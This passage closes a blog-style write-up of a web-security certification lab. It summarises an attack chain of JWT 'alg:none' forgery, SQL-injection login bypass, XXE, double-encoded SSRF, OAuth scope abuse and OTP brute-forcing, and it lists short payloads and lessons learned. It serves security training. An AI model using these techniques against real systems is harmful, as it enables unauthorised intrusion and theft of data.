&lt;p&gt;&lt;code&gt;alg:none&lt;/code&gt; JWT (anon → user) → SQLi login (user → signed admin) → XXE (read &lt;code&gt;/etc/passwd&lt;/code&gt;) → SSRF (double-encode → &lt;code&gt;/secret&lt;/code&gt; → hex→base64 → WebApp 02 creds) → OAuth login (&lt;code&gt;client_1337&lt;/code&gt;) → broken scope (read → admin) + 3-digit OTP brute → admin panel → Bob's card.&lt;/p&gt;

&lt;h2&gt;
  
  
  Appendix C — screenshots to capture (for your run)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Anonymous &lt;code&gt;/dashboard&lt;/code&gt; with &lt;code&gt;Role: anonymous&lt;/code&gt; + the decoded &lt;code&gt;alg:none&lt;/code&gt; cookie.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;role=user&lt;/code&gt; dashboard showing Masquerade Ball / created by notatypicalsysadmin.&lt;/li&gt;
&lt;li&gt;The SQLi login response headers (&lt;code&gt;302 /dashboard&lt;/code&gt;) + the decoded HS256 &lt;code&gt;role:admin&lt;/code&gt; cookie.&lt;/li&gt;
&lt;li&gt;Admin dashboard (&lt;code&gt;Admin Verified&lt;/code&gt; + Check Outage / Manage Events).&lt;/li&gt;
&lt;li&gt;XXE "View as XML" output with the &lt;code&gt;flag:&lt;/code&gt; line.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/api/health&lt;/code&gt; (internal URL) and the SSRF &lt;code&gt;418&lt;/code&gt; vs the double-encoded success with &lt;code&gt;hidden_in_layers&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The hex → base64 → creds decode in your terminal.&lt;/li&gt;
&lt;li&gt;WebApp 02 login redirect showing &lt;code&gt;client_1337&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;OTP brute hit (&lt;code&gt;302&lt;/code&gt;) and &lt;code&gt;/resource/adminpanel&lt;/code&gt; with Bob's card.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Key lessons
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Check the JWT algorithm first.&lt;/strong&gt; &lt;code&gt;alg:none&lt;/code&gt; walked me to &lt;code&gt;user&lt;/code&gt; for free — but the signed-token check on &lt;code&gt;admin&lt;/code&gt; is what forced the SQLi. Read the failure message; don't assume one bypass covers every role.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The query shape decides the payload.&lt;/strong&gt; &lt;code&gt;'--&lt;/code&gt; beats &lt;code&gt;' OR 1=1--&lt;/code&gt; here because the backend is &lt;code&gt;username AND password&lt;/code&gt; — and the WAF happens to blacklist the word &lt;code&gt;and&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encoding is an attack surface.&lt;/strong&gt; The SSRF filter fell to a double URL-encode, and the loot was hex-wrapped base64. When a field is literally named &lt;code&gt;encoded_url&lt;/code&gt; and a flag is labelled "hidden in layers," believe them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the taunt literally.&lt;/strong&gt; The &lt;code&gt;/etc/passwd&lt;/code&gt; comment was the map to WebApp 02, and Q10 wanted the whole record, not the tidy part.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope and OTP are attacker-controlled trust.&lt;/strong&gt; A consent screen that echoes the scope you request, and a 3-digit OTP with no throttle, are the same root mistake: trusting a value the attacker sets.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Final thoughts
&lt;/h2&gt;

&lt;p&gt;Web-RTA is a solid entry-level web-security certification. It isn't the hardest exam out there, but it's an honest one — it rewards chaining over memorising. JWT manipulation, SQLi, XXE, SSRF and OAuth abuse are all bugs you'll meet in real bug-bounty targets and pentests. If you're preparing: understand JWT structure down to the dot, and drill SSRF + XXE on PortSwigger's Web Security Academy. Everything else flows from those skills.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Written by inilvinilra — security vulnerability researcher.&lt;/em&gt;&lt;br&gt;
🔗 &lt;a href="https://github.com/inilvinilra" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://inilvinilra.xyz" rel="noopener noreferrer"&gt;Website&lt;/a&gt; · &lt;a href="https://www.linkedin.com/in/inlvinilra" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>hacking</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
